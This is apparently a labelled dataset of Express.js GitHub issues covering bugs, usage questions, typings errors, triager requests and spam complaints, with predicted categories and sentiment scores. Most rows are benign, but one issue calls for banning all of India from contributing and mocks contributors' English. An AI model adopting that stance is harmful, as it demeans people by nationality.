  res.sendFile(__dirname + ""robots.txt"");
});
```

Expected result: It grabs robots.txt from the current directory
Actual result: it attemps to grab from the home directory of the user

Note: I am entirely unsure if this is due to something I did that I don't remember or my OS or maybe even an actual bug",bug,2024-04-11 03:55:10+00:00,2024-04-11 09:21:24+00:00,2,bug,0.2266,get attempting to grab from home dir linux the process for bug fixing is we will first assess if the behavior is different from what should occur confirm the bug is reproducible discuss how to best fix the bug work towards a fix os debian gnu linux bullseye aarch bug get specifically when using robotx txt trys to grab home xxxxx microwavebot webrobots txt i presume due to the folder name code snippet expected result it grabs robots txt from the current directory actual result it attemps to grab from the home directory of the user note i am entirely unsure if this is due to something i did that i don t remember or my os or maybe even an actual bug,bug,-0.796
expressjs/express,2234418586,[Question] Should Express.js v5.x drop support to older versions of Node?,"Hi y'all 👋 

I'm glad to see progress on Express.js again and this has brought some small expectations and potential questions on this next milestone.

As with any software, it's normal to accumulate legacy code over time, and Express might have a ton by keeping the compatibility from old Node.js versions.

By bringing the next version, would the community & TC also push for finally deprecating older versions in favor of better maintenance and improving overall code quality?

It doesn't need to be something major like LTS only, but something that can accommodate ES6+ standards and great support for modern features such as async/await support. e.g.: >=v12 which was released 5yrs ago.

**Why that is relevant:** Chances are that users using older versions of Express.js might rarely or never redeploy their apps or upgrade their deps anyway.

I'm not suggesting going crazy to be comparable with other frameworks or following anything crazy, just making Express.js great again would be a lifetime benefit for everyone.

Thanks for reading this.

Cheers.


<!-- We can't debug your app for you, but you can ask questions and we will try to answer them.

You can also ask a question in the Node.js Slack community's #express-js channel:

* Slack invite form: http://www.nodeslackers.com/invite
* #express-js channel: https://node-js.slack.com/archives/C0L827VV4

It is super important that you paste in samples of your code (no screenshots of code, [use markdown](https... [TRUNCATED]",question,2024-04-09 22:35:33+00:00,2024-04-10 13:40:17+00:00,3,question,0.6283,question should express js v x drop support to older versions of node hi y all i m glad to see progress on express js again and this has brought some small expectations and potential questions on this next milestone as with any software it s normal to accumulate legacy code over time and express might have a ton by keeping the compatibility from old node js versions by bringing the next version would the community tc also push for finally deprecating older versions in favor of better maintenance and improving overall code quality it doesn t need to be something major like lts only but something that can accommodate es standards and great support for modern features such as async await support e g v which was released yrs ago why that is relevant chances are that users using older versions of express js might rarely or never redeploy their apps or upgrade their deps anyway i m not suggesting going crazy to be comparable with other frameworks or following anything crazy just making express js great again would be a lifetime benefit for everyone thanks for reading this cheers we can t debug your app for you but you can ask questions and we will try to answer them you can also ask a question in the node js slack community s express js channel slack invite form express js channel it is super important that you paste in samples of your code no of code use markdown https truncated,help,0.9954
expressjs/express,2230219367,Need a clarification on router.param() usage.,"I was using router.param() method to run middleware in all the routes which has ':department_id'. 
for example:
In my app, the route will be app.use('/department/:department_id/class',departmentRoutes);
In my departmentRoutes, child route will be router.get('/:id', ...controller);

I have use { mergeParams : true } to include all the params in the router to consider.. but when i use **router.param(':department_id'**, <middleware>); the middleware gets skipped as it considers the ':department_id' as no parameter.

But the when we use **router.param('id',<middleware>);** the middleware logic gets executed perfectly!!

kindly clear me of the doubt that, will the **router.param()** consider the params from the parent or app.","question,awaiting more info",2024-04-08 04:18:05+00:00,2024-05-09 05:14:52+00:00,7,"question,awaiting more info",31.0394,need a clarification on router param usage i was using router param method to run middleware in all the routes which has department id for example in my app the route will be app use department department id class departmentroutes in my departmentroutes child route will be router get id controller i have use mergeparams true to include all the params in the router to consider but when i use router param department id the middleware gets skipped as it considers the department id as no parameter but the when we use router param id the middleware logic gets executed perfectly kindly clear me of the doubt that will the router param consider the params from the parent or app,help,0.8847
expressjs/express,2226524895,return res.redirect('back'); returns to '/' instead of the previous page,"I can reproduce this error with Node 21.x and Node 20.x. I am using Express ^4.17.2 or ^4.19.2 coupled with EJS ^3.1.6.
 I can create the error with a simple route like this:
```
 app.get('/goback', async(req, res) => {
  return res.redirect('back');
})
```

This route will always return to '/' regardless of what the previous page was. I can also reproduce this error with more complicated POST and PUT routes I have for updating DB documents. The above is too narrow down the issue.",bug,2024-04-04 21:11:39+00:00,2024-04-05 18:12:06+00:00,2,bug,0.8753,return res redirect back returns to instead of the previous page i can reproduce this error with node x and node x i am using express or coupled with ejs i can create the error with a simple route like this this route will always return to regardless of what the previous page was i can also reproduce this error with more complicated post and put routes i have for updating db documents the above is too narrow down the issue,bug,-0.7845
expressjs/express,2213832348,WebAssembly Out of memory Error for any server,"After about 5-10 minutes of a server running, I am getting the error:
```
node:internal/event_target:1036
  process.nextTick(() => { throw err; });
                           ^
RangeError [Error]: WebAssembly.instantiate(): Out of memory: Cannot allocate Wasm memory for new instance
Emitted 'error' event on InternalWorker instance at:
    at [kOnErrorMessage] (node:internal/worker:323:10)
    at [kOnMessage] (node:internal/worker:334:37)
    at MessagePort.<anonymous> (node:internal/worker:229:57)
    at [nodejs.internal.kHybridDispatch] (node:internal/event_target:761:20)
    at exports.emitMessage (node:internal/per_context/messageport:23:28)

Node.js v20.0.0
```

Even with the simplest possible server:
```
import express from 'express'

const app = express()

app.listen(6788, function () {
	console.log('Listening on http://localhost:6788/')
})
```

I am using v4.19.2. I am also running using tsx, so maybe that could be the problem?",bug,2024-03-28 18:06:41+00:00,2024-03-28 18:11:39+00:00,2,bug,0.0034,webassembly out of memory error for any server after about minutes of a server running i am getting the error even with the simplest possible server i am using v i am also running using tsx so maybe that could be the problem,bug,-0.8271
expressjs/express,2211283293,mime.charsets in Response.js is undefined,"Using Express version 4.19.2 in Response.js at line 790 (var charset = mime.charsets.lookup(value.split(';')[0]);) is throwing an exception stating that mime.charset ""TypeError: Cannot read properties of undefined (reading 'charsets')""
",bug,2024-03-27 16:42:40+00:00,2024-03-27 19:40:03+00:00,9,bug,0.1232,mime charsets in response js is undefined using express version in response js at line var charset mime charsets lookup value split is throwing an exception stating that mime charset typeerror cannot read properties of undefined reading charsets,bug,0.34
expressjs/express,2208675032,Troubleshooting Node.js Express Server Routing Issue,"I tried this simple code in NodeJS:
```
const express=require(""express"");

const app=express();

const accounts=[]

app.use(""/dashboard"",function(req,res,next){
    res.send(accounts);
    next();
})

app.post(""/dashboard/add-account/:address{6}"",function(req,res,next){
    accounts.push(req.params.address);
    console.info(accounts);
    next();
})

app.put(""/modify-account/:index/:address{6}"",function(req,res){
    accounts[req.params.index]=req.params.address;
    res.send(accounts);
})

app.delete(""/dashboard/delete-account/:index[0-9]"",function(req,res){
    accounts[req.params.index]="""";
    console.info(accounts);
})

app.listen(3001,""127.0.0.1"",650,()=>{console.info(""Server is ready ..."")});
```
By sending this request: `http://localhost:3001/dashboard/add-account/0x1234`

What should I do?",question,2024-03-26 16:07:11+00:00,2024-03-26 16:27:26+00:00,1,question,0.0141,troubleshooting node js express server routing issue i tried this simple code in nodejs by sending this request what should i do,bug,0.1779
expressjs/express,2199440652,The npm latest version of express is 5.0.0-beta.2 !!!,"Can you double-check that it is on purpose?

I cannot see any notes about this major release in the change log.
This can potentially break a lot of stuff without proper release notes and migration guide.

Did I miss anything?

![image](https://github.com/expressjs/express/assets/11837643/a4598ddd-75f1-47bd-baa1-21b240dd7edb)
",question,2024-03-21 07:54:36+00:00,2024-03-21 08:48:30+00:00,10,question,0.0374,the npm latest version of express is beta can you double check that it is on purpose i cannot see any notes about this major release in the change log this can potentially break a lot of stuff without proper release notes and migration guide did i miss anything image,help,-0.1531
expressjs/express,2198541382,4.19.0 breaks passing new URL() into res.redirect(...),"Understandably, res.redirect(...) should take a string.  But for years we have been successfully passing a new URL().  We can certainly fix this on our side, but wanted to give a heads-up that this change might cause others to run into the same thing.

Error ultimately is thrown here:

reponse.js:915
  var lowerLoc = loc.toLowerCase();
",bug,2024-03-20 20:53:54+00:00,2024-03-20 22:13:52+00:00,7,bug,0.0555,breaks passing new url into res redirect understandably res redirect should take a string but for years we have been successfully passing a new url we can certainly fix this on our side but wanted to give a heads up that this change might cause others to run into the same thing error ultimately is thrown here reponse js var lowerloc loc tolowercase,bug,0.7684
expressjs/express,2190811454,Working On Vite+React. Have an Issue. ,"express.js?v=ccbac433:1188 Uncaught TypeError: Cannot read properties of undefined (reading 'from')
    at ../node_modules/safe-buffer/index.js (express.js?v=ccbac433:1188:17)
    at __require2 (chunk-BQWMX7FD.js?v=ccbac433:15:50)
    at ../node_modules/express/lib/utils.js (express.js?v=ccbac433:19746:19)
    at __require2 (chunk-BQWMX7FD.js?v=ccbac433:15:50)
    at ../node_modules/express/lib/application.js (express.js?v=ccbac433:19895:23)
    at __require2 (chunk-BQWMX7FD.js?v=ccbac433:15:50)
    at ../node_modules/express/lib/express.js (express.js?v=ccbac433:21826:17)
    at __require2 (chunk-BQWMX7FD.js?v=ccbac433:15:50)
    at ../node_modules/express/index.js (express.js?v=ccbac433:21891:22)
    at __require2 (chunk-BQWMX7FD.js?v=ccbac433:15:50)

Found this in browser console while running app after setting routes. Used BrowserRouter..

See if anybody can help...
",,2024-03-17 18:48:40+00:00,2024-03-18 14:35:37+00:00,1,nan,0.8243,working on vite react have an issue express js v ccbac uncaught typeerror cannot read properties of undefined reading from at node modules safe buffer index js express js v ccbac at require chunk bqwmx fd js v ccbac at node modules express lib utils js express js v ccbac at require chunk bqwmx fd js v ccbac at node modules express lib application js express js v ccbac at require chunk bqwmx fd js v ccbac at node modules express lib express js express js v ccbac at require chunk bqwmx fd js v ccbac at node modules express index js express js v ccbac at require chunk bqwmx fd js v ccbac found this in browser console while running app after setting routes used browserrouter see if anybody can help,bug,0.6808
expressjs/express,2190754953, Request triager role for @SarthakParikh,"

I have read and understood the project's Code of Conduct.
I also have read and understood the process and best practices around Express triaging.

I request for a triager role for the following GitHub organizations:

express",,2024-03-17 16:37:25+00:00,2024-04-22 09:58:38+00:00,1,nan,35.7231,request triager role for sarthakparikh i have read and understood the project s code of conduct i also have read and understood the process and best practices around express triaging i request for a triager role for the following github organizations express,feature,0.6369
expressjs/express,2186409405,[deleted],[deleted],invalid,2024-03-14 13:36:41+00:00,2024-03-14 15:37:37+00:00,3,invalid,0.084,deleted deleted,others,0.0
expressjs/express,2185602680,How do you guys set the `req.hostname`?,"I've searched through this repo trying to find how `req.hostname` is set, but with no luck. I have to write a function that extracts hostname from `Host` header and it has to behave exactly like how this framework does it.","help wanted,question,good first contribution",2024-03-14 07:09:16+00:00,2024-03-14 15:24:11+00:00,1,"help wanted,question,good first contribution",0.3437,how do you guys set the i ve searched through this repo trying to find how is set but with no luck i have to write a function that extracts hostname from header and it has to behave exactly like how this framework does it,help,0.6652
expressjs/express,2183102140,Import syntax error with express.Router() import,"### Need help figuring out why this would error.
I am using bun and not node for the runtime. I don't think that affects anything here. I am using express JS 5.0 BETA 1
I just feel there is a better way than actually doing (despite Node/Bun caching modules I still feel like this is redundant):
```
import express from 'express';
const viewRouter = express.Router();
```
* The Code
```
import { Router as viewRouter } from 'express';
viewRouter.get('/', (req, res) => {
    res.render('index.ejs');
});
module.exports = viewRouter;
```
* The Error
```
SyntaxError: Unexpected token '{'. import call expects one or two arguments.
      at <parse> (/mnt/z/sic-web/src/server/routes/viewRouter.js:1:1)
1 | import {Router as viewRouter} from 'express';
    ^
```",question,2024-03-13 04:40:44+00:00,2024-03-13 15:23:32+00:00,4,question,0.4464,import syntax error with express router import need help figuring out why this would error i am using bun and not node for the runtime i don t think that affects anything here i am using express js beta i just feel there is a better way than actually doing despite node bun caching modules i still feel like this is redundant the code the error,bug,-0.2263
expressjs/express,2179145002,How to flush a response?,"When I run this sample on express v4.18.2, I don't see any of the response data in the Chrome Debugger Network Tab nor in Fiddler until after the 15 second mark.  This is despite that ""First part was piped"" shows up immediately in the server side console.  How can I force the response stream to be flushed, please?

```typescript
import { Readable } from ""stream"";

app.get(""/api/data/multipart"", (request, response, next) => {
    response.useChunkedEncodingByDefault = true;
    response.status(200);

    const p1 = Readable.from(""Foo"".repeat(1000))
    p1.on('close', () => {
        console.log(`First part was closed`);
    });
    p1.pipe(response, { end: false });

    console.log(`First part was piped`);

    global.setTimeout(() => {
        Readable.from(""Bar"".repeat(1000)).pipe(response, { end: true });

        console.log(`Second part was piped`);
        next();
    }, 15 * 1000);
});
```

Output:
```plaintext
First part was piped << Immediate
First part was closed << Immediate
Second part was piped << ~15s
```",question,2024-03-11 13:31:10+00:00,2024-03-11 14:52:15+00:00,2,question,0.0563,how to flush a response when i run this sample on express v i don t see any of the response data in the chrome debugger network tab nor in fiddler until after the second mark this is despite that first part was piped shows up immediately in the server side console how can i force the response stream to be flushed please output,help,0.3182
expressjs/express,2177901678,when NODE_ENV='production' getting error on request send ,"when i am setting NODE_ENV to 'production' and sending any request getting this error:

if (done) return done(err);
                     ^

TypeError: done is not a function
    at /home/ubuntu/taskManager/node_modules/express/lib/response.js:450:22
    at SendStream.ondirectory (/home/ubuntu/taskManager/node_modules/express/lib/response.js:1064:5)
    at SendStream.emit (node:events:519:28)
    at SendStream.redirect (/home/ubuntu/taskManager/node_modules/send/index.js:475:10)
    at onstat (/home/ubuntu/taskManager/node_modules/send/index.js:723:41)
    at FSReqCallback.oncomplete (node:fs:205:5)


i tried updating express version but still get the same error
",awaiting more info,2024-03-10 20:58:40+00:00,2024-03-11 00:03:11+00:00,2,awaiting more info,0.1281,when node env production getting error on request send when i am setting node env to production and sending any request getting this error if done return done err typeerror done is not a function at home ubuntu taskmanager node modules express lib response js at sendstream ondirectory home ubuntu taskmanager node modules express lib response js at sendstream emit node events at sendstream redirect home ubuntu taskmanager node modules send index js at onstat home ubuntu taskmanager node modules send index js at fsreqcallback oncomplete node fs i tried updating express version but still get the same error,bug,-0.7906
expressjs/express,2165261964,How to send a request at JSON format using http module to an ExpressJS server?,"Two web servers are in place: one is developed using the Express.js framework to manage requests and responses, while the other is built with the HTTP module to forward requests to the former. The current requirement is to send requests in JSON format, but there is uncertainty on how to achieve this using the HTTP module.

The first server by express js:

```
const { Web3 } = require(""web3"");
const {toChecksumAddress}=require(""ethereum-checksum-address"");
const express=require(""express"");
const bodyParser=require(""body-parser"");

const walletMap=new Map();

const urlencodedParser=new bodyParser.urlencoded({extended:false});
const app=express();
app.use(bodyParser.json());

...

app.get(""/wallet-status"",function(req,res){
  try{
    const response=walletView(req.body.address);
    res.status(200).json(response);
  }catch(err){
    const errorObj={
      error:err.name,
      message:err.message
    }
    res.status(400).json(errorObj);
  }
})

...

function walletView(address){
    address=address.toString();
    if(toChecksumAddress(address)){
      if(walletMap.get(address)===undefined){
        return {""message"":""The address provided has not been recorded previously""}
      }else{
        return walletMap.get(address);
      }
    }
}
```
The second server by http module:

```
const http=require(""http"");

let options={
    host:""127.0.0.1"",
    port:2020,
    path:""/wallet-status"",
    method:""GET"",
    headers:{
      ... [TRUNCATED]",question,2024-03-03 09:04:43+00:00,2024-03-03 17:44:42+00:00,1,question,0.3611,how to send a request at json format using http module to an expressjs server two web servers are in place one is developed using the express js framework to manage requests and responses while the other is built with the http module to forward requests to the former the current requirement is to send requests in json format but there is uncertainty on how to achieve this using the http module the first server by express js the second server by http module const http require http let options host port path wallet status method get headers truncated,feature,-0.4767
expressjs/express,2164694793,How to run an app after installing certificates for localhost,"Hi everyone, I need some help because I'm very new doing all of this.
Currently, I have myapp running perfectly on http://localhost/myapp
Now, I would like to have it running on https://localhost/myapp
I have correctly installed the certificates and the https://localhost is on and it displays a message: ""Hello, HTTPS World!""
Now, how can I run myapp on https://localhost/myapp ??

myapp is a directory located in C:\Apache24\htdocs\myapp

The code of my server.js file is:
`const app = require('express')();`
`const https = require('https');`
`const fs = require('fs');`

`const options = {`
`    key: fs.readFileSync('build/cert/server.key'),`
`    cert: fs.readFileSync('build/cert/server.crt'),`
`}`
`https.createServer(options, (req, res) => {`
`  res.writeHead(200);`
`  res.end('Hello, HTTPS World!');`
`}).listen(443, () => {`
`  console.log('Server is running on port 443');`
`});`

OS: Win 10
Any help or hint will be much appreciated.
",question,2024-03-02 08:09:18+00:00,2024-03-02 14:37:39+00:00,2,question,0.2697,how to run an app after installing certificates for localhost hi everyone i need some help because i m very new doing all of this currently i have myapp running perfectly on now i would like to have it running on i have correctly installed the certificates and the is on and it displays a message hello https world now how can i run myapp on myapp is a directory located in c apache htdocs myapp the code of my server js file is os win any help or hint will be much appreciated,help,0.9595
expressjs/express,2140332672,Solve issues for Node.js CITGM,"Hi team! I was researching a bit about the current issues with CITGM, there is a PR https://github.com/nodejs/citgm/pull/977 open to re-add express, but one of the tests is failling.

**How to reproduce?**
1. Use Node 20.x (recommended 20.11.x) `nvm use 20.11.0`
2. Install cigtm globally `npm i -g citgm`
3. Run the tests for express `citgm express`

**What is the error?**

```
info: starting            | express             
info: lookup              | express             
info: lookup-notfound     | express             
info: lookup-githead      | https://github.com/expressjs/express/archive/8368dc178af16b91b576c4c1d135f701a0007e5d.tar.gz
info: express npm:        | Downloading project: https://github.com/expressjs/express/archive/8368dc178af16b91b576c4c1d135f701a0007
info: express npm:        | Project downloaded 8368dc178af16b91b576c4c1d135f701a0007e5d.tar.gz
info: express npm:        | npm install started 
info: express npm:        | npm install successfully completed
info: express npm:        | test suite started  
error: failure             | The canary is dead: 
error: failing module(s)   |                     
error: module name:        | express             
error: version:            | 4.18.2              
error: error:              | The canary is dead: 
error: error:              | undefined                                                                                     
error:                     | added 432 packages in 36s           ... [TRUNCATED]","bug,tc agenda",2024-02-17 17:18:33+00:00,2024-03-07 10:35:48+00:00,11,"bug,tc agenda",18.7203,solve issues for node js citgm hi team i was researching a bit about the current issues with citgm there is a pr open to re add express but one of the tests is failling how to reproduce use node x recommended x install cigtm globally run the tests for express what is the error info starting express info lookup express info lookup notfound express info lookup githead info express npm downloading project info express npm project downloaded dc af b b c c d f a e d tar gz info express npm npm install started info express npm npm install successfully completed info express npm test suite started error failure the canary is dead error failing module s error module name express error version error error the canary is dead error error undefined error added packages in s truncated,bug,-0.9958
expressjs/express,2140287731,@types/express-serve-static-core breaking my typescript builds,"In my typescript express server application, when I try to run `tsc` to build & compile my typescript, I get an error: 

```bash
../node_modules/@types/express-serve-static-core/index.d.ts:647:18 - error TS2430: Interface 'Response<ResBody, Locals, StatusCode>' incorrectly extends interface 'ServerResponse<IncomingMessage>'.
  Property 'req' is optional in type 'Response<ResBody, Locals, StatusCode>' but required in type 'ServerResponse<IncomingMessage>'.

647 export interface Response<
                     ~~~~~~~~

../node_modules/@types/express/index.d.ts:50:29 - error TS2694: Namespace 'serveStatic' has no exported member 'RequestHandlerConstructor'.

50     var static: serveStatic.RequestHandlerConstructor<Response>;
```

Looking around Google, all answers say to update dependencies - but that doesn't seem to work. 

MY dependencies: 


```javascript
""devDependencies"": {
    ""@types/cors"": ""^2.8.6"",
    ""@types/express"": ""^4.17.21"",
    ""@types/express-serve-static-core"": ""4.17.20"",
    ""@types/jest"": ""^29.x"",
    ""@types/mongodb"": ""^3.5.4"",
    ""@types/mongoose"": ""^5.7.7"",
    ""@types/node"": ""^20.11.19"",
    ""@types/prettier"": ""<2.6.0"",
    ""@types/shortid"": ""^0.0.29"",
    ""@types/ws"": ""8.5.4"",
    ""express"": ""^4.18.2"",
    ""jest"": ""^29.x"",
    ""jest-circus"": ""^29.x"",
    ""nodemon"": ""^3.0.3"",
    ""ts-jest"": ""^29.x"",
    ""ts-node"": ""^10.9.2"",
    ""typescript"": ""^5.3.3""
  }```",bug,2024-02-17 16:43:19+00:00,2024-02-17 17:09:03+00:00,1,bug,0.0179,types express serve static core breaking my typescript builds in my typescript express server application when i try to run to build compile my typescript i get an error looking around google all answers say to update dependencies but that doesn t seem to work my dependencies,bug,-0.25
expressjs/express,2140054048,add mertcanaltin as a triager,"Hello, I have not made a contribution yet, but I would like to be a triager if it is deemed appropriate in line with triager needs :rocket: @wesleytodd @UlisesGascon ",,2024-02-17 12:48:08+00:00,2024-04-15 22:11:18+00:00,7,nan,58.3911,add mertcanaltin as a triager hello i have not made a contribution yet but i would like to be a triager if it is deemed appropriate in line with triager needs rocket wesleytodd ulisesgascon,others,0.5023
expressjs/express,2139777823,Download Function,"Fine people of express, I have used your framework as a hobby for years, and I have struggled with it, mostly as a result of my own stupidity. So today when I needed to make the client download a file, I expected great difficulty. However, upon a google search, I came across the download function, and I have to say it was the most pleasant surprise I have come across in quite a while. I knew immediately that I had to contact you and thank you for this excellent piece of code, and I hope more people continue to use express. 
<3,
Gdawg","examples,feedback",2024-02-17 03:01:08+00:00,2024-02-17 14:01:23+00:00,2,"examples,feedback",0.4585,download function fine people of express i have used your framework as a hobby for years and i have struggled with it mostly as a result of my own stupidity so today when i needed to make the client download a file i expected great difficulty however upon a google search i came across the download function and i have to say it was the most pleasant surprise i have come across in quite a while i knew immediately that i had to contact you and thank you for this excellent piece of code and i hope more people continue to use express gdawg,others,0.9318
expressjs/express,2136827226,"Middleware is executed when using Postman, ignored when running API test with axios","Context
====

I'm using `express` in version `4.18.2`.


I've created a following two functions that create Express middleware:
- `authenticate` - checks for presence of a valid access token, returns HTTP Unauthorized response if it doesn't, otherwise calls `next()`
- `authorize(permissions)` - checks if logged in user (as verified in `authenticate`) has required permissions, returns HTTP Forbidden response if it doesn't, otherwise calls `next()`.

Here's the code: (note the `logger.verbose` usages)

```typescript
import { header } from 'express-validator';
//...

export function authenticate() {
  return [
    header('authorization')
      .isLength({ min: 1 })
      .withMessage('Authorization header required'),
    (req, res, next) => {
      const token = req.headers.authorization?.split(' ') ?? [];
      if (token.length !== 2 || token[0].toLowerCase() !== 'bearer') {
        logger.verbose('Invalid access token type (only ""bearer"" accepted)');
        res.status(StatusCode.UNAUTHORIZED).send({'error': 'Invalid access token'});
        return;
      }

      const accessToken: Promise<AccessToken|null> = AccessToken.findOne({
        // database access
      });

      accessToken
        .then((at: AccessToken|null) => {
          if (!at) {
            logger.verbose('Access token not found');
            res.status(StatusCode.UNAUTHORIZED).send({'error': 'Invalid access token'});
          } else {
            req.user = at.user;... [TRUNCATED]",question,2024-02-15 15:29:56+00:00,2024-02-15 15:46:57+00:00,0,question,0.0118,middleware is executed when using postman ignored when running api test with axios context i m using in version i ve created a following two functions that create express middleware checks for presence of a valid access token returns http unauthorized response if it doesn t otherwise calls checks if logged in user as verified in has required permissions returns http forbidden response if it doesn t otherwise calls here s the code note the usages typescript import header from express validator export function authenticate return header authorization islength min withmessage authorization header required req res next const token req headers authorization split if token length token tolowercase bearer logger verbose invalid access token type only bearer accepted res status statuscode unauthorized send error invalid access token return const accesstoken promise accesstoken findone database access accesstoken then at accesstoken null if at logger verbose access token not found res status statuscode unauthorized send error invalid access token else req user at user truncated,help,-0.5574
expressjs/express,2131967054,Rangeban India from making Pull Requests,"Has anyone seen how many Indians are spamming pull requests to Readme.md? Most of them barely speak English. Is there a way to just ban all of India? Can we start a petition to have Github add a ""rangeban from project"" feature?

Look at this.
https://github.com/expressjs/express/pulls?q=is%3Apr+is%3Aclosed",,2024-02-13 10:19:36+00:00,2024-02-13 12:12:36+00:00,15,nan,0.0785,rangeban india from making pull requests has anyone seen how many indians are spamming pull requests to readme md most of them barely speak english is there a way to just ban all of india can we start a petition to have github add a rangeban from project feature look at this,feature,-0.7717
expressjs/express,2129129530,Github Action : To avoid spam PR,"Its quite frustrating about the PR spam being happening over here. 

I just found on reddit about the PR spam being happening in this repo recently [Spam PR](https://github.com/expressjs/express/pulls?page=1&q=is%3Apr+is%3Aclosed+Readme.md) so just wanted to raise a few solution to solve it. I

Proposed Solution:
1. Can we restrict the contribution from **new contributor on readme.md** to avoid spams on the PR. Mostly this PR are raised by new contributors. We can have a GitHub action set up in a way that new contributor can't edit readme.md file unless and until they have contributed at least one PR. People who have done at least one PR are less likely to spam and spoil the repo.

2. The second option is not recommended but can be done is to restrict everyone from editing readme.md file only selected people can edit. 
If the PR comes from a user who is not listed as an allowed editor for these files, the workflow can automatically comment on the PR, informing the contributor that changes to these files are restricted and then close the PR or give a tag (readme tag) it for manual review by authorized users.

I hope this can minimize the spam PR happening recently in this repo. I hope I can be a help to avoid spam over here in this repo and making maintainers life ease and valid PR gets the deserving attention.",question,2024-02-11 19:17:51+00:00,2024-02-11 19:21:23+00:00,1,question,0.0025,github action to avoid spam pr its quite frustrating about the pr spam being happening over here i just found on reddit about the pr spam being happening in this repo recently spam pr so just wanted to raise a few solution to solve it i proposed solution can we restrict the contribution from new contributor on readme md to avoid spams on the pr mostly this pr are raised by new contributors we can have a github action set up in a way that new contributor can t edit readme md file unless and until they have contributed at least one pr people who have done at least one pr are less likely to spam and spoil the repo the second option is not recommended but can be done is to restrict everyone from editing readme md file only selected people can edit if the pr comes from a user who is not listed as an allowed editor for these files the workflow can automatically comment on the pr informing the contributor that changes to these files are restricted and then close the pr or give a tag readme tag it for manual review by authorized users i hope this can minimize the spam pr happening recently in this repo i hope i can be a help to avoid spam over here in this repo and making maintainers life ease and valid pr gets the deserving attention,help,-0.8419
expressjs/express,2128870979,[ FEATURE ]: need dark mode enable toggle button,"Description : 
It is very difficult to Read the Documentation in Light mode, we need dark mode to enable the option, and it will be helpful for Reading  Documentation for Developers.

Solution:
Add a toggle button to enable Dark mode and Light mode

Screenshot:
![image](https://github.com/expressjs/express/assets/80571893/9c71102d-7a28-4e6e-9570-fe2874887083)
",,2024-02-11 07:06:28+00:00,2024-02-11 16:25:15+00:00,4,nan,0.388,feature need dark mode enable toggle button description it is very difficult to read the documentation in light mode we need dark mode to enable the option and it will be helpful for reading documentation for developers solution add a toggle button to enable dark mode and light mode screenshot image,feature,0.3197
expressjs/express,2126115111,Nominate CBID2 to the Triage Team,Hi there. I read your project's Code of Conduct and would love to join the triage team. I got inspired after raising this issue: https://github.com/expressjs/express/issues/5449,,2024-02-08 21:40:02+00:00,2024-04-15 22:10:46+00:00,6,nan,67.0213,nominate cbid to the triage team hi there i read your project s code of conduct and would love to join the triage team i got inspired after raising this issue,others,0.8625
expressjs/express,2125204106,Allow reading Forwarded header as alternative to X-Forwarded-,"A few service providers / proxy servers are beginning to use [Forwarded](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Forwarded) header instead of [X-Forwarded-For](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-For) and related headers. This includes AWS's HTTP API Gateway.

Express does not currently support this header, and I can see no way of hooking up the trust proxy mechanism manually to parse this header, so I am a bit stuffed.

Can you either provide a config setting to use this header for trust proxy, or suggest an alternative way to get this to work?",,2024-02-08 13:33:54+00:00,2024-08-24 09:05:19+00:00,3,nan,197.8135,allow reading forwarded header as alternative to x forwarded a few service providers proxy servers are beginning to use forwarded header instead of x forwarded for and related headers this includes aws s http api gateway express does not currently support this header and i can see no way of hooking up the trust proxy mechanism manually to parse this header so i am a bit stuffed can you either provide a config setting to use this header for trust proxy or suggest an alternative way to get this to work,others,0.6177
expressjs/express,2123298438,Request triager role for S-Ayush,"I have read and understood the project's Code of Conduct.
I also have read and understood the process and best practices around Express triaging.

I request for a triager role for the following GitHub organizations:

jshttp
pillarjs
express",,2024-02-07 15:31:33+00:00,2024-04-22 09:59:05+00:00,3,nan,74.7691,request triager role for s ayush i have read and understood the project s code of conduct i also have read and understood the process and best practices around express triaging i request for a triager role for the following github organizations jshttp pillarjs express,feature,0.6369
expressjs/express,2121706250,Request triager role for QuantGeekDev,"
Hello everyone!

I have read and understood the project's Code of Conduct.
I also have read and understood the process and best practices around Express triaging.

I request for a triager role for the following GitHub organizations:

jshttp
pillarjs
express",,2024-02-06 21:36:47+00:00,2024-04-22 10:04:09+00:00,2,nan,75.519,request triager role for quantgeekdev hello everyone i have read and understood the project s code of conduct i also have read and understood the process and best practices around express triaging i request for a triager role for the following github organizations jshttp pillarjs express,feature,0.6369
expressjs/express,2121347754,feature: add a GitHub action to quell spam PRs,"## Problem
I was scrolling through Twitter and someone posted about [the spam PR](https://github.com/expressjs/express/pulls?page=1&q=is%3Apr+is%3Aclosed+Readme.md). 

## Possible Solution
Implement this [GitHub action](https://github.com/marketplace/actions/mark-as-spam). It'll lessen the workload for maintainers. 

",ideas,2024-02-06 17:35:20+00:00,2026-01-17 03:10:48+00:00,68,ideas,710.3996,feature add a github action to quell spam prs problem i was scrolling through twitter and someone posted about the spam pr possible solution implement this github action it ll lessen the workload for maintainers,feature,-0.6597
expressjs/express,2119774156,response gives invalid status code when number is sent in res.status(200).send(<number>);,"Hi there,

While I was testing my own PR, https://github.com/expressjs/express/pull/5445, I encountered an other issue sending number to ```res.send(<number>)```,  
I get the following error:
```<!DOCTYPE html>
<html lang=""en"">  
<head>
<meta charset=""utf-8"">
<title>Error</title>
</head>
<body>
<pre>RangeError [ERR_HTTP_INVALID_STATUS_CODE]: Invalid status code: 10<br> &nbsp; &nbsp;at ServerResponse.writeHead (node:_http_server:352:11)<br> &nbsp; &nbsp;at ServerResponse._implicitHeader (node:_http_server:338:8)<br> &nbsp; &nbsp;at ServerResponse.end (node:_http_outgoing:1046:10)<br> &nbsp; &nbsp;at ServerResponse.send (/home/bhavya/Documents/Sample/node_modules/express/lib/response.js:232:10)<br> &nbsp; &nbsp;at /home/bhavya/Documents/Sample/index.js:7:21<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/home/bhavya/Documents/Sample/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at next (/home/bhavya/Documents/Sample/node_modules/express/lib/router/route.js:144:13)<br> &nbsp; &nbsp;at Route.dispatch (/home/bhavya/Documents/Sample/node_modules/express/lib/router/route.js:114:3)<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/home/bhavya/Documents/Sample/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at /home/bhavya/Documents/Sample/node_modules/express/lib/router/index.js:284:15</pre>
</body>
</html>
```
Is this intentional, or it is a bug that needs to fixed ?
meanwhile, ```res.json(10)``` works fine.
